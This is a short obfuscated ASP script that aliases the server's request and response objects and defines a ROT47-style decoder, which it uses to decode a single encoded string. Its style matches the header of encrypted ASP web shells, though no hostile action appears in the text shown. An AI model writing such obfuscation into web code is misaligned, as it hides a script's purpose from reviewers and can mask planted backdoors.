<%
Dim POPOPO,POPOPP,POPPOO,POPPOP,POPPPO
Set POPPOO=Response:Set POPOPP=Request:Set POPPPO=Session:Set POPOPO=Application:Set POPPOP=Server
PPOOPP = POPPPP(ChrW(71)&ChrW(100)&ChrW(93)&ChrW(97)&ChrW(103)&ChrW(32)&ChrW(44)&ChrW(20808)&ChrW(64)&ChrW(-29388)&ChrW(64)&ChrW(29251)&ChrW(64))
Function POPPPP(ByVal PPOPOO)
Dim PPOOOO, PPOOOP, PPOOPO
PPOPOO = Replace(PPOPOO, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For PPOOOP = 1 To Len(PPOPOO)
If PPOOOP <> PPOOPO Then
PPOOOO = AscW(Mid(PPOPOO, PPOOOP, 1))
If PPOOOO >= 33 And PPOOOO <= 79 Then
POPPPP = POPPPP & Chr(PPOOOO + 47)
ElseIf PPOOOO >= 80 And PPOOOO <= 126 Then
POPPPP = POPPPP & Chr(PPOOOO - 47)
Else
PPOOPO = PPOOOP + 1
If Mid(PPOPOO, PPOOPO, 1) = POPPPP(ChrW(111)) Then POPPPP = POPPPP & ChrW(PPOOOO + 5) Else POPPPP = POPPPP & Mid(PPOPOO, PPOOOP, 1)
End If
End If
Next
End Function
%>